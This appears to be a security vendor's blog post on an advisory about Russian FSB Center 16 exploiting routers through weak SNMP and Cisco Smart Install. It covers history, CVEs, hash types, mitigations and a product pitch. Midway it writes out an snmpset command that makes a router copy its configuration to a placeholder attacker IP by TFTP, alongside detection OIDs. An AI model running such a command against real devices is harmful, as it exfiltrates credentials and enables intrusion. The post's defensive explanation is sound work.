FSB Center 16: How Russian hackers exploit routers via SNMP and Cisco Smart Install

Sıla Özeren Hacıoğlu | 12 MIN READ

| July 14, 2026

FSB Center 16, also tracked as Static Tundra, is a Russian FSB signals-intelligence unit that compromises poorly configured routers, mainly through weak SNMP and Cisco Smart Install, to spy on critical infrastructure.

TL;DR

On July 13, 2026, the NSA, CISA, FBI, DC3 and partner agencies from 12 countries published joint Cybersecurity Advisory AA26-194A, "Improve Router Hygiene to Protect Against Russian State-Sponsored Targeting," attributing a decade-plus campaign against poorly configured routers to Russian FSB Center 16 (tracked as Berserk Bear, Energetic Bear, Crouching Yeti, Dragonfly, Ghost Blizzard and Static Tundra).

The actors' primary technique is not a zero-day. They scan the internet for SNMP agents accepting default/weak community strings, then issue SNMP Set-Requests abusing the Cisco CISCO-CONFIG-COPY-MIB to copy device configs to attacker infrastructure via TFTP. They occasionally exploit CVE-2018-0171 (Cisco Smart Install, CVSS 9.8) and the end-of-life-only CVE-2008-4128.

Defenders should disable Cisco Smart Install, move to SNMPv3 authPriv, kill SNMPv1/v2c, use Cisco Type 8 password hashing, allow-list MIB OIDs, and block TFTP/SMI/SNMP at the edge, then validate those controls actually work with Picus Breach and Attack Simulation.

Who is FSB Center 16 / Static Tundra?

FSB Center 16 is the signals-intelligence arm of Russia's Federal Security Service, and it is the actor behind this decade-plus campaign against routers and other network devices. Security vendors track the same activity under names including Static Tundra, Berserk Bear, Energetic Bear, Crouching Yeti, Dragonfly, and Ghost Blizzard.

It is an FSB espionage unit, distinct from Russia's GRU groups such as Sandworm and APT28/Fancy Bear, which focus on disruption and influence operations. That distinction matters when you read reporting that lumps all "Russian" activity together.

These vendor names map to overlapping but not identical activity clusters, so they are not exact synonyms:

Static Tundra (Cisco Talos)
Berserk Bear / Energetic Bear
Crouching Yeti
Dragonfly / Dragonfly 2.0
Ghost Blizzard

How the attack works: SNMP config exfiltration

The campaign's core technique is elegant and low-tech.

Reconnaissance (T1595.001, T1595.002): Scan internet IP ranges for SNMP agents accepting common/default community strings. The actors likely use Shodan/Censys scan data rather than noisy active scanning.
Execution via SNMP (T1569, T1602.001): The actors send SNMP Set-Requests, routed through proxies (T1090) and spoofed source IPs (T1027). Because SNMP runs over UDP, which is connectionless and stateless, spoofing works easily: it bypasses ACLs and hides the true origin, so logs can make the activity look like it came from an internal or local IP.

Credential access / collection (T1003, T1602.002): The OIDs instruct the device to copy its configuration to a file (often "config.bkp" or "output.txt").
Exfiltration (T1048, T1071, T1090): Transfer the config via TFTP to an actor-controlled leased VPS or compromised FTP server.

How does SNMP copy a router's config to the attacker?

Cisco routers can be managed over SNMP, a protocol gated by a shared password called a "community string." If that string is set to read-write, whoever holds it can change device settings, not just read them. That is the whole opening the attacker needs: no exploit, no malware.

Cisco devices include a legitimate function that copies their own configuration to a remote server, exposed through the CISCO-CONFIG-COPY-MIB (1.3.6.1.4.1.9.9.96). It is normally used for scheduled backups. SNMP triggers it by writing a new row into the copy table (ccCopyTable), one SetRequest at a time, where each column of the row sets one parameter of the transfer.

A single request fills in that row:

ccCopyProtocol = TFTP, the transfer method
ccCopySourceFileType = running-config, the file to copy
ccCopyDestFileType = networkFile, meaning "send it off-box"
ccCopyServerAddress = the attacker's IP
ccCopyFileName = the name to save it as
ccCopyEntryRowStatus = createAndGo, which commits the row and immediately starts the transfer

In practice that is a single command from any host that knows the read-write string, for example:

snmpset -v2c -c <rw-string> <router-ip> \

1.3.6.1.4.1.9.9.96.1.1.1.1.2.111 i 1 \ # protocol = TFTP

1.3.6.1.4.1.9.9.96.1.1.1.1.3.111 i 4 \ # source = running-config

1.3.6.1.4.1.9.9.96.1.1.1.1.4.111 i 1 \ # dest = networkFile

1.3.6.1.4.1.9.9.96.1.1.1.1.5.111 a <attacker-ip> \ # destination server

1.3.6.1.4.1.9.9.96.1.1.1.1.6.111 s "config.bkp" \ # filename

1.3.6.1.4.1.9.9.96.1.1.1.1.14.111 i 4 # rowStatus = createAndGo

The router then mails its own config out the door, as if someone pressed its "back up my settings" button and pointed it at the wrong server. The .111 at the end of each OID is just an arbitrary row index the attacker picks; the second-to-last number is the column, which is why the two OIDs below are the ones worth watching.

That config is the prize: it holds local credentials and the SNMP community strings themselves, which the attacker reuses to move deeper. Researchers observed follow-on activity once inside: creating local accounts and enabling Telnet for re-entry, weakening TACACS+ logging, and building GRE tunnels to reroute traffic of interest.

This abuse leaves a clear fingerprint. It rides on two object identifiers (OIDs), the numeric addresses SNMP uses for each setting:

1.3.6.1.4.1.9.9.96.1.1 — the config-copy operation
1.3.6.1.4.1.9.9.96.1.1.1.1.5 — the destination the config is sent to

An inbound SNMP write touching either OID is a strong signal of this exact attack, which is why the mitigations below recommend alerting on it.

Why are SNMPv1/v2c the problem, and SNMPv3 authPriv the fix?

SNMPv1 and v2c authenticate with plaintext community strings sent over UDP, so anyone sniffing traffic can recover them, enabling adversary-in-the-middle and replay attacks.

SNMPv3 replaces plaintext community strings with per-user authentication and encryption. Its "authPriv" level enables both authentication (integrity and identity) and privacy (payload encryption). Per the NSA's companion CSI, SNMPv3 alone is not sufficient: it must be paired with MIB allow-listing (SNMP views) so that even leaked credentials cannot read or write OIDs outside a defined set.

Which CVEs are used by FSB Center 16?

CVE-2018-0171 — Cisco Smart Install RCE (CVSS 9.8, CWE-787)

A vulnerability in the Smart Install feature of Cisco IOS and IOS XE. An unauthenticated remote attacker sends a crafted Smart Install message to TCP port 4786, causing a buffer overflow (improper packet-data validation) that can trigger a device reload (DoS), an indefinite watchdog-crash loop, or arbitrary code execution.

Cisco patched it in March 2018 (advisory cisco-sa-20180328-smi2, Bug ID CSCvg76186); it was added to CISA's KEV catalog on November 3, 2021.
At disclosure, security firm Embedi (which discovered the flaw) reported a scan detecting roughly 250,000 vulnerable devices and 8.5 million devices with the vulnerable port open to the internet.
Cisco re-issued an exploitation warning on August 20, 2025.

It remains relevant because Smart Install was enabled by default on many switches, and end-of-life devices can't be patched.

Talos confirmed the same CVE was leveraged by Salt Typhoon in February 2025

CVE-2008-4128 — Cisco IOS CSRF (CVSS 4.3, medium).

Multiple cross-site request forgery flaws in the HTTP Administration component of Cisco IOS 12.4 on the 871 Integrated Services Router, allowing a remote attacker to trick an authenticated admin into executing arbitrary commands. The advisory footnotes that this CVE only affects end-of-life Cisco devices.

Notably, CISA added CVE-2008-4128 to its KEV catalog on July 13, 2026: the same day as the advisory.

Why do Cisco password hashing types matter here?

When FSB Center 16 steals a router config, the passwords inside it are stored as hashes, not plaintext, so how strong that hash is decides whether a stolen config hands the attacker working credentials or a useless string. Weak types like 0, 4 and 7 can be reversed in seconds, turning one stolen config into deeper network access, which is why the advisory tells defenders to store credentials with type 8 and avoid types 0, 4 and 7.

Here is how Cisco's hashing types compare:

Type	Algorithm	Security	Verdict
0	Plaintext	None	Never use
4	Single-iteration SHA-256, no salt (broken implementation)	Weak; deprecated after IOS 15.3(3)M3	Never use
5	Salted MD5 (1,000 iterations)	Crackable with GPUs	Only if 8/9 unavailable
7	Vigenère cipher (static embedded key)	Trivially reversible (cracked 1995)	Never use, treat as plaintext
8	PBKDF2-SHA-256, 80-bit salt, 20,000 iterations	Strong	Advisory recommendation
9	scrypt (memory-hard), 80-bit salt, 16,384 iterations	Strongest; GPU/ASIC-resistant	Best where supported

Type 7 is especially dangerous: it uses a static key embedded in the OS that has been public for decades, so a config with a type 7 secret is portable to any attacker.

The advisory's ATT&CK mapping explicitly cites collecting configs with "weak Cisco Type 7 passwords and Type 0" (T1003). Researchers also recommend type 6 for TACACS+ keys.

Historical arc of FSB Center 16

FSB Center 16 has been targeting critical infrastructure for over a decade, evolving from ICS/SCADA supply-chain campaigns and custom router implants to the SNMP and Smart Install router attacks described in AA26-194A.

Key milestones:

2010–2013: TeamSpy-era remote surveillance.
2012–2014: "Dragonfly"/"Havex" supply-chain campaign. Havex hidden in trojanized ICS/SCADA software updates; malware installed on 17,000+ devices. Targeted the energy sector across ~135 countries.
2014–2017: "Dragonfly 2.0," direct targeting of energy-sector ICS/SCADA operators; compromise of Wolf Creek Nuclear Operating Corporation business systems.
2015: SYNful Knock firmware implant discovered by Mandiant (14 implants across Ukraine, Philippines, Mexico, India). SYNful Knock is a modular modification of the Cisco IOS firmware image that survives reboots and is activated by a crafted TCP SYN "magic packet." Mandiant confirmed it was not deployed via a vulnerability but via default or stolen credentials.
March 2022: DOJ unseals indictments of four Russians; three (Akulov, Gavrilov, Tyukov) named as Center 16 officers behind Dragonfly/Havex. A $10M Rewards for Justice bounty is offered.
2021–present: Aggressive exploitation of CVE-2018-0171; escalation against Ukraine and allies after February 2022.
December 2025: Attack on Poland's power grid (attempted DynoWiper deployment), attributed by CERT Polska to Static Tundra/Center 16 with high confidence on infrastructure, though ESET and Dragos attributed the wiper activity to Sandworm (GRU) with moderate confidence. UK and EU formally blamed Center 16 on July 13, 2026.

Mitigation Suggestions

Disable Cisco Smart Install on every device (no vstack).

Disable SNMPv1 and v2c. If they are truly unavoidable, change every default community string and set it read-only, never read-write.

Move to SNMPv3 at authPriv (authentication plus encryption). Fall back to authNoPriv only on legacy devices, and plan to upgrade those.

Apply least privilege to SNMPv3: use separate passwords for authentication and encryption, and split read access (polling and traps) from write access.

Allow-list OIDs with snmp-server view, so anything outside the defined set is denied by default. Alert on inbound SNMP Set-Requests that touch the config-copy OIDs shown earlier.

Harden local credentials: strong, unique passwords stored with Cisco Type 8 hashing (avoid Type 0, 4, and 7). Monitor for off-convention account names and alert on local-account logins.

Restrict management access with ACLs from designated hosts, ideally on an out-of-band network. If it must share the production network, encrypt it.

Block at the edge firewall (unless mission-critical): UDP 69 (TFTP), TCP 4786 (Smart Install), UDP 161/162 (SNMP), TCP/UDP 10161/10162 (SNMPv3).

Patch and retire: keep firmware current, replace end-of-life devices, and use attack surface management to find weak internet-facing systems.

Key Recommendations

The mitigations above are the what. This is the order to do them in.

Stage 1 — Immediate

Inventory all internet-reachable network devices; identify any with Smart Install (TCP 4786) or SNMPv1/v2c enabled.
Disable Smart Install (no vstack) everywhere it isn't required; patch CVE-2018-0171 where devices are still supported.
Block UDP 69, TCP 4786, UDP 161/162, TCP/UDP 10161/10162 inbound at edge firewalls unless mission-critical.
Check devices against the Talos IOCs and SYNful Knock scanner; audit for rogue local accounts, unexpected RW community strings, TACACS+ changes and unexplained GRE tunnels.

Stage 2 — Near-term

Migrate to SNMPv3 authPriv; disable SNMPv1/v2c; rotate any community strings; apply MIB allow-lists via SNMP views.
Re-hash all local credentials to Type 8 (or Type 9); eliminate types 0/4/7; move management to an out-of-band network with ACLs.
Deploy IDS rules for inbound SNMP Set-Requests targeting config-copy OIDs (e.g., 1.3.6.1.4.1.9.9.96.*).

Stage 3 — Structural

Build a device-lifecycle program to retire EOL hardware; centralize config management (devices should not be the source of truth for their own configs).
Extend telemetry (syslog, AAA, NetFlow) to network devices and baseline them; alert on drops or gaps in expected logging.

How Picus Helps Simulate FSB Center 16 (Static Tundra) Attacks

We strongly suggest simulating the tactics used by FSB Center 16 to test the effectiveness of your security controls against state-sponsored attacks on network infrastructure using the Picus Autonomous Exposure Validation Platform. You can safely replicate this group's full attack chain, from SNMP config exfiltration and Cisco Smart Install abuse to config-file credential theft, and confirm your firewall rules, IDS signatures, and SIEM detections actually fire, within minutes with a 14-day free trial of the Picus Platform.

Picus Threat Library includes the following threats for FSB Center 16 / Static Tundra campaigns:

Threat ID	Threat Name	Attack Module
43352	Dragonfly Threat Group Campaign Malware Download Threat	Network Infiltration
43938	Dragonfly Threat Group Campaign Malware Email Threat	E-mail Infiltration

Start simulating emerging threats today and get actionable mitigation insights with a  14-day free trial  of the Picus Security Validation Platform.